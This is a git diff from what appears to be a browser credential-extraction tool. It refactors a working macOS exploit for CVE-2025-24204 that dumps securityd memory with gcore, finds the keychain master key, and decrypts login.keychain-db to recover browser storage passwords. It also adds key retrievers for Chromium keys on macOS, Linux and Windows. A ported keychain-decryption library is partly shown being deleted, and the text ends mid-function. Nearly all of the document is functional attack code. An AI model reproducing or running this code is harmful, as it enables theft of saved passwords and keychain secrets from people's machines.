diff --git a/.gitignore b/.gitignore index 7d73b9d..cc6f4d6 100644 --- a/.gitignore +++ b/.gitignore @@ -36,9 +36,6 @@ # === RFCs === !rfcs/*.md -# === Test fixtures === -!utils/chainbreaker/testdata/*.keychain-db - # === Always ignore (override !*/) === .git/ .idea/ diff --git a/.golangci.yml b/.golangci.yml index 9471156..e481319 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -193,16 +193,9 @@ linters: - path: "crypto/" linters: - gocritic - - path: "utils/chainbreaker/" + - path: "crypto/keyretriever/gcoredump_darwin.go" linters: - - gocritic - - path: "browser/exploit/" - linters: - - gocritic - gocognit - - funlen - - whitespace - - staticcheck formatters: enable: diff --git a/browser/chromium/chromium_darwin.go b/browser/chromium/chromium_darwin.go index aeb6459..d40278d 100644 --- a/browser/chromium/chromium_darwin.go +++ b/browser/chromium/chromium_darwin.go @@ -11,8 +11,8 @@ import ( "os/exec" "strings" - "github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump" "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/types" ) @@ -27,7 +27,7 @@ func (c *Chromium) GetMasterKey() ([]byte, error) { defer os.Remove(types.ChromiumKey.TempFilename()) // Try get the master key via gcoredump(CVE-2025-24204) - secret, err := gcoredump.DecryptKeychain(c.storage) + secret, err := keyretriever.DecryptKeychain(c.storage) if err == nil && secret != "" { log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name) if key, err := c.parseSecret([]byte(secret)); err == nil { diff --git a/browser/exploit/gcoredump/gcoredump.go b/browser/exploit/gcoredump/gcoredump.go deleted file mode 100644 index cb631d2..0000000 --- a/browser/exploit/gcoredump/gcoredump.go +++ /dev/null @@ -1,227 +0,0 @@ -//go:build darwin - -package gcoredump - -// CVE-2025-24204 -// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain -// https://support.apple.com/en-us/122373 - -import ( - "debug/macho" - "encoding/binary" - "errors" - "fmt" - "os" - "os/exec" - "path/filepath" - "strconv" - "strings" - "time" - "unsafe" - - "golang.org/x/sys/unix" - - "github.com/moond4rk/hackbrowserdata/log" - "github.com/moond4rk/hackbrowserdata/utils/chainbreaker" -) - -var ( - homeDir, _ = os.UserHomeDir() - LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db" -) - -func GetMacOSVersion() string { - v, err := unix.Sysctl("kern.osproductversion") - if err == nil { - return v - } - return "" -} - -func FindProcessByName(name string, forceRoot bool) (int, error) { - buf, err := unix.SysctlRaw("kern.proc.all") - if err != nil { - return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err) - } - - kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{})) - if len(buf)%kinfoSize != 0 { - return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length") - } - - count := len(buf) / kinfoSize - for i := 0; i < count; i++ { - proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize])) - // P_comm is [16]byte on Darwin (in newer x/sys/unix versions) - pname := byteSliceToString(proc.Proc.P_comm[:]) - if pname == name { - // Note: P_ppid is in Eproc on some versions, but usually in ExternProc. - // In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid. - // If P_ppid is missing, we can rely on P_ruid. - if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 { - return int(proc.Proc.P_pid), nil - } - } - } - return 0, fmt.Errorf("securityd process not found") -} - -type addressRange struct { - start uint64 - end uint64 -} - -func DecryptKeychain(storagename string) (string, error) { - if os.Geteuid() != 0 { - return "", errors.New("requires root privileges") - } - - // find securityd PID - pid, err := FindProcessByName("securityd", true) - if err != nil { - return "", fmt.Errorf("failed to find securityd pid: %w", err) - } - - corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano())) - defer os.Remove(corePath) - - // dump securityd memory: - // gcore -d -s -v -o core_path PID - cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid)) - if err := cmd.Run(); err != nil { - return "", fmt.Errorf("failed to dump securityd memory: %w", err) - } - - // find MALLOC_SMALL regions - regions, err := findMallocSmallRegions(pid) - if err != nil { - return "", fmt.Errorf("failed to find malloc small regions: %w", err) - } - - // open core dump - cmf, err := macho.Open(corePath) - if err != nil { - return "", fmt.Errorf("failed to open core dump: %w", err) - } - defer cmf.Close() - - // scan regions - var candidates []string - seen := make(map[string]struct{}) - for _, region := range regions { - // read region data - data, vaddr, err := getMallocSmallRegionData(cmf, region) - if err != nil { - // Region might not be in core dump or other error, skip - continue - } - // Search for pattern - // 0x18 (8 bytes) followed by pointer (8 bytes) - for i := 0; i < len(data)-16; i += 8 { - val := binary.LittleEndian.Uint64(data[i : i+8]) - if val == 0x18 { - ptr := binary.LittleEndian.Uint64(data[i+8 : i+16]) - if ptr >= region.start && ptr <= region.end { - offset := ptr - vaddr - if offset+0x18 <= uint64(len(data)) { - masterKey := make([]byte, 0x18) - copy(masterKey, data[offset:offset+0x18]) - - keyStr := fmt.Sprintf("%x", masterKey) - if _, found := seen[keyStr]; !found { - candidates = append(candidates, keyStr) - seen[keyStr] = struct{}{} - log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr) - } - } - } - } - } - - } - - // fuzz master key candidates - for _, candidate := range candidates { - kc, err := chainbreaker.New(LoginKeychainPath, candidate) - if err != nil { - log.Debugf("Failed to unlock keychain: %v", err) - continue - } - - records, err := kc.DumpGenericPasswords() - if err != nil { - log.Debugf("Failed to unlock keychain: %v", err) - continue - } - for _, rec := range records { - if rec.Account == storagename { - // TODO decode base64 password - if rec.PasswordBase64 { - } - return rec.Password, nil - } - } - } - - return "", nil -} - -func findMallocSmallRegions(pid int) ([]addressRange, error) { - cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid)) - output, err := cmd.Output() - if err != nil { - return nil, err - } - - var regions []addressRange - lines := strings.Split(string(output), "\n") - for _, line := range lines { - line = strings.TrimSpace(line) - if strings.HasPrefix(line, "MALLOC_SMALL") { - parts := strings.Fields(line) - if len(parts) < 2 { - continue - } - rangeStr := parts[1] - rangeParts := strings.Split(rangeStr, "-") - if len(rangeParts) != 2 { - continue - } - start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64) - if err != nil { - continue - } - end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64) - if err != nil { - continue - } - regions = append(regions, addressRange{start: start, end: end}) - } - } - return regions, nil -} - -func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { - for _, seg := range f.Loads { - if s, ok := seg.(*macho.Segment); ok { - if s.Addr == region.start && s.Addr+s.Memsz == region.end { - data := make([]byte, s.Filesz) - _, err := s.ReadAt(data, 0) - if err != nil { - return nil, 0, err - } - return data, s.Addr, nil - } - } - } - return nil, 0, fmt.Errorf("region not found in core dump") -} - -func byteSliceToString(s []byte) string { - for i, v := range s { - if v == 0 { - return string(s[:i]) - } - } - return string(s) -} diff --git a/crypto/keyretriever/gcoredump_darwin.go b/crypto/keyretriever/gcoredump_darwin.go new file mode 100644 index 0000000..f18e961 --- /dev/null +++ b/crypto/keyretriever/gcoredump_darwin.go @@ -0,0 +1,246 @@ +//go:build darwin + +package keyretriever + +// CVE-2025-24204: macOS securityd TCC bypass via gcore. +// The gcore binary holds the com.apple.system-task-ports.read entitlement, +// allowing any root process to dump securityd memory without a TCC prompt. +// We scan the dump for the 24-byte keychain master key, then use it to +// extract browser storage passwords from login.keychain-db. +// +// References: +// - https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain +// - https://support.apple.com/en-us/122373 + +import ( + "debug/macho" + "encoding/binary" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "time" + "unsafe" + + "golang.org/x/sys/unix" + + "github.com/moond4rk/keychainbreaker" +) + +var ( + homeDir, _ = os.UserHomeDir() + loginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db" +) + +// findProcessByName returns the PID of the first process matching name. +// If forceRoot is true, only matches processes owned by root (uid 0). +func findProcessByName(name string, forceRoot bool) (int, error) { + buf, err := unix.SysctlRaw("kern.proc.all") + if err != nil { + return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err) + } + + kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{})) + if len(buf)%kinfoSize != 0 { + return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length") + } + + count := len(buf) / kinfoSize + for i := 0; i < count; i++ { + proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize])) + pname := byteSliceToString(proc.Proc.P_comm[:]) + if pname == name { + if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 { + return int(proc.Proc.P_pid), nil + } + } + } + return 0, fmt.Errorf("securityd process not found") +} + +type addressRange struct { + start uint64 + end uint64 +} + +// DecryptKeychain extracts the browser storage password from login.keychain-db +// by dumping securityd memory and scanning for the keychain master key. +// Requires root privileges. +func DecryptKeychain(storagename string) (string, error) { + if os.Geteuid() != 0 { + return "", errors.New("requires root privileges") + } + + pid, err := findProcessByName("securityd", true) + if err != nil { + return "", fmt.Errorf("failed to find securityd pid: %w", err) + } + + // gcore appends ".PID" to the -o prefix, e.g. prefix.123 + corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano())) + corePath := fmt.Sprintf("%s.%d", corePrefix, pid) + defer os.Remove(corePath) + + cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid)) + if err := cmd.Run(); err != nil { + return "", fmt.Errorf("failed to dump securityd memory: %w", err) + } + + // vmmap identifies MALLOC_SMALL heap regions where securityd stores keys + regions, err := findMallocSmallRegions(pid) + if err != nil { + return "", fmt.Errorf("failed to find malloc small regions: %w", err) + } + + candidates, err := scanMasterKeyCandidates(corePath, regions) + if err != nil { + return "", err + } + if len(candidates) == 0 { + return "", fmt.Errorf("no master key candidates found in securityd memory") + } + + // read keychain file once, reuse buffer for each candidate + keychainBuf, err := os.ReadFile(loginKeychainPath) + if err != nil { + return "", fmt.Errorf("read keychain: %w", err) + } + + // try each candidate key against the keychain + for _, candidate := range candidates { + kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf)) + if err != nil { + continue + } + if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil { + continue + } + + records, err := kc.GenericPasswords() + if err != nil { + continue + } + for _, rec := range records { + if rec.Account == storagename { + return string(rec.Password), nil + } + } + } + + return "", fmt.Errorf("tried %d candidates, none matched storage %q", len(candidates), storagename) +} + +// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates. +// +// securityd stores the master key in a MALLOC_SMALL region with the layout: +// +// [0x18 (8 bytes)] [pointer to key data (8 bytes)] +// +// 0x18 = 24 is the key length. The pointer references a 24-byte buffer +// within the same region containing the raw master key. +func scanMasterKeyCandidates(corePath string, regions []addressRange) ([]string, error) { + cmf, err := macho.Open(corePath) + if err != nil { + return nil, fmt.Errorf("failed to open core dump: %w", err) + } + defer cmf.Close() + + var candidates []string + seen := make(map[string]struct{}) + for _, region := range regions { + data, vaddr, err := getMallocSmallRegionData(cmf, region) + if err != nil { + continue + } + for i := 0; i < len(data)-16; i += 8 { + // look for the length marker (0x18 = 24 bytes) + val := binary.LittleEndian.Uint64(data[i : i+8]) + if val != 0x18 { + continue + } + // next 8 bytes should be a pointer within this region + ptr := binary.LittleEndian.Uint64(data[i+8 : i+16]) + if ptr < region.start || ptr > region.end { + continue + } + // read 24 bytes at the pointer offset + offset := ptr - vaddr + if offset+0x18 > uint64(len(data)) { + continue + } + masterKey := make([]byte, 0x18) + copy(masterKey, data[offset:offset+0x18]) + keyStr := fmt.Sprintf("%x", masterKey) + if _, found := seen[keyStr]; !found { + candidates = append(candidates, keyStr) + seen[keyStr] = struct{}{} + } + } + } + return candidates, nil +} + +// findMallocSmallRegions parses vmmap output to find MALLOC_SMALL heap regions. +func findMallocSmallRegions(pid int) ([]addressRange, error) { + cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid)) + output, err := cmd.Output() + if err != nil { + return nil, err + } + + var regions []addressRange + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "MALLOC_SMALL") { + parts := strings.Fields(line) + if len(parts) < 2 { + continue + } + rangeParts := strings.Split(parts[1], "-") + if len(rangeParts) != 2 { + continue + } + start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64) + if err != nil { + continue + } + end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64) + if err != nil { + continue + } + regions = append(regions, addressRange{start: start, end: end}) + } + } + return regions, nil +} + +// getMallocSmallRegionData finds the Mach-O segment matching the given +// address range and returns its raw data and virtual address. +func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { + for _, seg := range f.Loads { + if s, ok := seg.(*macho.Segment); ok { + if s.Addr == region.start && s.Addr+s.Memsz == region.end { + data := make([]byte, s.Filesz) + _, err := s.ReadAt(data, 0) + if err != nil { + return nil, 0, err + } + return data, s.Addr, nil + } + } + } + return nil, 0, fmt.Errorf("region not found in core dump") +} + +func byteSliceToString(s []byte) string { + for i, v := range s { + if v == 0 { + return string(s[:i]) + } + } + return string(s) +} diff --git a/crypto/keyretriever/keyretriever.go b/crypto/keyretriever/keyretriever.go new file mode 100644 index 0000000..fe74152 --- /dev/null +++ b/crypto/keyretriever/keyretriever.go @@ -0,0 +1,40 @@ +package keyretriever + +import ( + "errors" + "fmt" +) + +// KeyRetriever retrieves the master encryption key for a Chromium-based browser. +// Each platform has different implementations: +// - macOS: Keychain access (security command) or gcoredump exploit +// - Windows: DPAPI decryption of Local State file +// - Linux: D-Bus Secret Service or fallback to "peanuts" password +type KeyRetriever interface { + RetrieveKey(storage, localStatePath string) ([]byte, error) +} + +// ChainRetriever tries multiple retrievers in order, returning the first success. +// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts). +type ChainRetriever struct { + retrievers []KeyRetriever +} + +// NewChain creates a ChainRetriever that tries each retriever in order. +func NewChain(retrievers ...KeyRetriever) KeyRetriever { + return &ChainRetriever{retrievers: retrievers} +} + +func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) { + var errs []error + for _, r := range c.retrievers { + key, err := r.RetrieveKey(storage, localStatePath) + if err == nil && len(key) > 0 { + return key, nil + } + if err != nil { + errs = append(errs, fmt.Errorf("%T: %w", r, err)) + } + } + return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...)) +} diff --git a/crypto/keyretriever/keyretriever_darwin.go b/crypto/keyretriever/keyretriever_darwin.go new file mode 100644 index 0000000..c162603 --- /dev/null +++ b/crypto/keyretriever/keyretriever_darwin.go @@ -0,0 +1,130 @@ +//go:build darwin + +package keyretriever + +import ( + "bytes" + "context" + "crypto/sha1" + "errors" + "fmt" + "os/exec" + "strings" + "sync" + "time" + + "github.com/moond4rk/keychainbreaker" +) + +// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 +var darwinParams = pbkdf2Params{ + salt: []byte("saltysalt"), + iterations: 1003, + keyLen: 16, + hashFunc: sha1.New, +} + +// securityCmdTimeout is the maximum time to wait for the security command. +const securityCmdTimeout = 30 * time.Second + +// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets +// by dumping the securityd process memory. Requires root privileges. +type GcoredumpRetriever struct{} + +func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) { + secret, err := DecryptKeychain(storage) + if err != nil { + return nil, fmt.Errorf("gcoredump: %w", err) + } + if secret == "" { + return nil, fmt.Errorf("gcoredump: empty secret for %s", storage) + } + return darwinParams.deriveKey([]byte(secret)), nil +} + +// KeychainPasswordRetriever unlocks login.keychain-db directly using the +// user's macOS login password. No root privileges required. +// The keychain is opened and decrypted only once; subsequent calls +// for different browsers reuse the cached records. +type KeychainPasswordRetriever struct { + Password string + + once sync.Once + records []keychainbreaker.GenericPassword + err error +} + +func (r *KeychainPasswordRetriever) loadRecords() { + kc, err := keychainbreaker.Open() + if err != nil { + r.err = fmt.Errorf("open keychain: %w", err) + return + } + if err := kc.Unlock(keychainbreaker.WithPassword(r.Password)); err != nil { + r.err = fmt.Errorf("unlock keychain: %w", err) + return + } + r.records, r.err = kc.GenericPasswords() +} + +func (r *KeychainPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) { + if r.Password == "" { + return nil, fmt.Errorf("keychain password not provided") + } + + r.once.Do(r.loadRecords) + if r.err != nil { + return nil, r.err + } + + for _, rec := range r.records { + if rec.Account == storage { + return darwinParams.deriveKey(rec.Password), nil + } + } + return nil, fmt.Errorf("storage %q not found in keychain", storage) +} + +// SecurityCmdRetriever uses macOS `security` CLI to query Keychain. +// This may trigger a password dialog on macOS. +type SecurityCmdRetriever struct{} + +func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) { + ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout) + defer cancel() + + var stdout, stderr bytes.Buffer + cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + if err := cmd.Run(); err != nil { + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout) + } + return nil, fmt.Errorf("security command: %w (%s)", err, strings.TrimSpace(stderr.String())) + } + if stderr.Len() > 0 { + return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String())) + } + + secret := bytes.TrimSpace(stdout.Bytes()) + if len(secret) == 0 { + return nil, fmt.Errorf("keychain: empty secret for %s", storage) + } + + return darwinParams.deriveKey(secret), nil +} + +// DefaultRetriever returns the macOS retriever chain. +// If keychainPassword is provided, the password-based retriever is included. +func DefaultRetriever(keychainPassword string) KeyRetriever { + retrievers := []KeyRetriever{ + &GcoredumpRetriever{}, + } + if keychainPassword != "" { + retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword}) + } + retrievers = append(retrievers, &SecurityCmdRetriever{}) + return NewChain(retrievers...) +} diff --git a/crypto/keyretriever/keyretriever_linux.go b/crypto/keyretriever/keyretriever_linux.go new file mode 100644 index 0000000..25ff49a --- /dev/null +++ b/crypto/keyretriever/keyretriever_linux.go @@ -0,0 +1,87 @@ +//go:build linux + +package keyretriever + +import ( + "crypto/sha1" + "fmt" + + "github.com/godbus/dbus/v5" + keyring "github.com/ppacher/go-dbus-keyring" +) + +// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc +var linuxParams = pbkdf2Params{ + salt: []byte("saltysalt"), + iterations: 1, + keyLen: 16, + hashFunc: sha1.New, +} + +// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service. +type DBusRetriever struct{} + +func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) { + conn, err := dbus.SessionBus() + if err != nil { + return nil, fmt.Errorf("dbus session: %w", err) + } + + svc, err := keyring.GetSecretService(conn) + if err != nil { + return nil, fmt.Errorf("secret service: %w", err) + } + + session, err := svc.OpenSession() + if err != nil { + return nil, fmt.Errorf("open session: %w", err) + } + defer session.Close() + + collections, err := svc.GetAllCollections() + if err != nil { + return nil, fmt.Errorf("get collections: %w", err) + } + + for _, col := range collections { + items, err := col.GetAllItems() + if err != nil { + continue + } + for _, item := range items { + label, err := item.GetLabel() + if err != nil { + continue + } + if label == storage { + secret, err := item.GetSecret(session.Path()) + if err != nil { + return nil, fmt.Errorf("get secret for %s: %w", storage, err) + } + if len(secret.Value) > 0 { + return linuxParams.deriveKey(secret.Value), nil + } + } + } + } + + return nil, fmt.Errorf("secret %q not found in keyring", storage) +} + +// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable. +// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100 +type FallbackRetriever struct{} + +func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) { + return linuxParams.deriveKey([]byte("peanuts")), nil +} + +// DefaultRetriever returns the Linux retriever chain: +// D-Bus Secret Service first, then "peanuts" fallback. +// The keychainPassword parameter is unused on Linux. +func DefaultRetriever(_ string) KeyRetriever { + return NewChain( + &DBusRetriever{}, + &FallbackRetriever{}, + ) +} diff --git a/crypto/keyretriever/keyretriever_test.go b/crypto/keyretriever/keyretriever_test.go new file mode 100644 index 0000000..3658d9f --- /dev/null +++ b/crypto/keyretriever/keyretriever_test.go @@ -0,0 +1,69 @@ +package keyretriever + +import ( + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +type mockRetriever struct { + key []byte + err error +} + +func (m *mockRetriever) RetrieveKey(_, _ string) ([]byte, error) { + return m.key, m.err +} + +func TestChainRetriever_FirstSuccess(t *testing.T) { + chain := NewChain( + &mockRetriever{key: []byte("first-key")}, + &mockRetriever{key: []byte("second-key")}, + ) + key, err := chain.RetrieveKey("Chrome", "") + require.NoError(t, err) + assert.Equal(t, []byte("first-key"), key) +} + +func TestChainRetriever_FallbackOnError(t *testing.T) { + chain := NewChain( + &mockRetriever{err: errors.New("first failed")}, + &mockRetriever{key: []byte("fallback-key")}, + ) + key, err := chain.RetrieveKey("Chrome", "") + require.NoError(t, err) + assert.Equal(t, []byte("fallback-key"), key) +} + +func TestChainRetriever_AllFail(t *testing.T) { + chain := NewChain( + &mockRetriever{err: errors.New("first failed")}, + &mockRetriever{err: errors.New("second failed")}, + ) + key, err := chain.RetrieveKey("Chrome", "") + assert.Error(t, err) + assert.Nil(t, key) + assert.Contains(t, err.Error(), "all retrievers failed") + assert.Contains(t, err.Error(), "first failed") + assert.Contains(t, err.Error(), "second failed") +} + +func TestChainRetriever_SkipEmptyKey(t *testing.T) { + // First returns nil key without error — should skip to next + chain := NewChain( + &mockRetriever{key: nil, err: nil}, + &mockRetriever{key: []byte("real-key")}, + ) + key, err := chain.RetrieveKey("Chrome", "") + require.NoError(t, err) + assert.Equal(t, []byte("real-key"), key) +} + +func TestChainRetriever_Empty(t *testing.T) { + chain := NewChain() + key, err := chain.RetrieveKey("Chrome", "") + assert.Error(t, err) + assert.Nil(t, key) +} diff --git a/crypto/keyretriever/keyretriever_windows.go b/crypto/keyretriever/keyretriever_windows.go new file mode 100644 index 0000000..d660369 --- /dev/null +++ b/crypto/keyretriever/keyretriever_windows.go @@ -0,0 +1,55 @@ +//go:build windows + +package keyretriever + +import ( + "encoding/base64" + "fmt" + "os" + + "github.com/tidwall/gjson" + + "github.com/moond4rk/hackbrowserdata/crypto" +) + +// DPAPIRetriever reads the encrypted key from Chrome's Local State file +// and decrypts it using Windows DPAPI. +type DPAPIRetriever struct{} + +func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) { + data, err := os.ReadFile(localStatePath) + if err != nil { + return nil, fmt.Errorf("read Local State: %w", err) + } + + encryptedKey := gjson.GetBytes(data, "os_crypt.encrypted_key") + if !encryptedKey.Exists() { + return nil, fmt.Errorf("os_crypt.encrypted_key not found in Local State") + } + + keyBytes, err := base64.StdEncoding.DecodeString(encryptedKey.String()) + if err != nil { + return nil, fmt.Errorf("base64 decode encrypted_key: %w", err) + } + + // First 5 bytes are the "DPAPI" prefix, validate and skip them + const dpapiPrefix = "DPAPI" + if len(keyBytes) <= len(dpapiPrefix) { + return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes)) + } + if string(keyBytes[:len(dpapiPrefix)]) != dpapiPrefix { + return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix) + } + + masterKey, err := crypto.DecryptWithDPAPI(keyBytes[len(dpapiPrefix):]) + if err != nil { + return nil, fmt.Errorf("DPAPI decrypt: %w", err) + } + return masterKey, nil +} + +// DefaultRetriever returns the Windows retriever (DPAPI only). +// The keychainPassword parameter is unused on Windows. +func DefaultRetriever(_ string) KeyRetriever { + return &DPAPIRetriever{} +} diff --git a/crypto/keyretriever/params.go b/crypto/keyretriever/params.go new file mode 100644 index 0000000..fc7ff14 --- /dev/null +++ b/crypto/keyretriever/params.go @@ -0,0 +1,21 @@ +package keyretriever + +import ( + "hash" + + "github.com/moond4rk/hackbrowserdata/crypto" +) + +// pbkdf2Params holds platform-specific PBKDF2 key derivation parameters. +// Each platform file defines its own params variable. +type pbkdf2Params struct { + salt []byte + iterations int + keyLen int + hashFunc func() hash.Hash +} + +// deriveKey derives an encryption key from a secret using PBKDF2. +func (p pbkdf2Params) deriveKey(secret []byte) []byte { + return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keyLen, p.hashFunc) +} diff --git a/go.mod b/go.mod index 43b0934..9dab3ba 100644 --- a/go.mod +++ b/go.mod @@ -6,6 +6,7 @@ require ( github.com/DATA-DOG/go-sqlmock v1.5.2 github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 github.com/godbus/dbus/v5 v5.2.2 + github.com/moond4rk/keychainbreaker v0.1.0 github.com/otiai10/copy v1.14.1 github.com/ppacher/go-dbus-keyring v1.0.1 github.com/stretchr/testify v1.11.1 diff --git a/go.sum b/go.sum index 58277a2..3f9d4ea 100644 --- a/go.sum +++ b/go.sum @@ -25,6 +25,8 @@ github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpO github.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/moond4rk/keychainbreaker v0.1.0 h1:9hkE70c4jxaTHStZ3kny4GEJ/srcvt2DZe0vUg3m8V0= +github.com/moond4rk/keychainbreaker v0.1.0/go.mod h1:VVx2VXwL2EGhuU2WBD67w66JCKKqLFXGJg91y3FY4f0= github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= diff --git a/utils/chainbreaker/chainbreaker.go b/utils/chainbreaker/chainbreaker.go deleted file mode 100644 index 2afd9fa..0000000 --- a/utils/chainbreaker/chainbreaker.go +++ /dev/null @@ -1,695 +0,0 @@ -package chainbreaker - -// Logic ported from https://github.com/n0fate/chainbreaker - -import ( - "bytes" - "crypto/cipher" - "crypto/des" - "encoding/base64" - "encoding/binary" - "encoding/hex" - "errors" - "fmt" - "os" - "strings" - "time" - "unicode/utf8" -) - -const ( - atomSize = 4 - headerSize = 20 - schemaSize = 8 - tableHeaderSize = 28 - keyBlobRecordHeaderSize = 132 - keyBlobStructSize = 24 - genericPasswordHeaderSize = 22 * 4 - blockSize = 8 - keyLength = 24 - metadataOffsetAdjustment = 0x38 - keyBlobMagic uint32 = 0xFADE0711 - keychainSignature = "kych" - secureStorageGroup = "ssgp" - keychainLockedSignature = "[Invalid Password / Keychain Locked]" -) - -const ( - cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000 - cssmGenericPassword = cssmDBRecordTypeAppDefinedStart + 0 - cssmMetadata = cssmDBRecordTypeAppDefinedStart + 0x8000 - cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A - cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7 -) - -const dbBlobSize = 92 - -var magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05} - -type Keychain struct { - buf []byte - header applDBHeader - tableList []uint32 - tableEnum map[uint32]int - dbblob dbBlob - baseAddr int - dbKey []byte - keyList map[string][]byte -} - -type applDBHeader struct { - Signature [4]byte - Version uint32 - HeaderSize uint32 - SchemaOffset uint32 - AuthOffset uint32 -} - -type applDBSchema struct { - SchemaSize uint32 - TableCount uint32 -} - -type tableHeader struct { - TableSize uint32 - TableID uint32 - RecordCount uint32 - Records uint32 - IndexesOffset uint32 - FreeListHead uint32 - RecordNumbersCount uint32 -} - -type dbBlob struct { - StartCryptoBlob uint32 - TotalLength uint32 - Salt []byte - IV []byte -} - -type keyBlobRecordHeader struct { - RecordSize uint32 -} - -type keyBlob struct { - Magic uint32 - StartCryptoBlob uint32 - TotalLength uint32 - IV []byte -} - -type genericPasswordHeader struct { - RecordSize uint32 - SSGPArea uint32 - CreationDate uint32 - ModDate uint32 - Description uint32 - Comment uint32 - Creator uint32 - Type uint32 - PrintName uint32 - Alias uint32 - Account uint32 - Service uint32 -} - -type ssgpBlock struct { - Magic []byte - Label []byte - IV []byte - EncryptedPassword []byte -} - -type genericPassword struct { - Description string - Creator string - Type string - PrintName string - Alias string - Account string - Service string - Created string - LastModified string - Password string - PasswordBase64 bool -} - -func New(path, unlockHex string) (*Keychain, error) { - buf, err := os.ReadFile(path) - if err != nil { - return nil, err - } - - hdr, err := parseHeader(buf) - if err != nil { - return nil, err - } - if string(hdr.Signature[:]) != keychainSignature { - return nil, fmt.Errorf("invalid keychain signature: %q", hdr.Signature) - } - - schema, tableList, err := 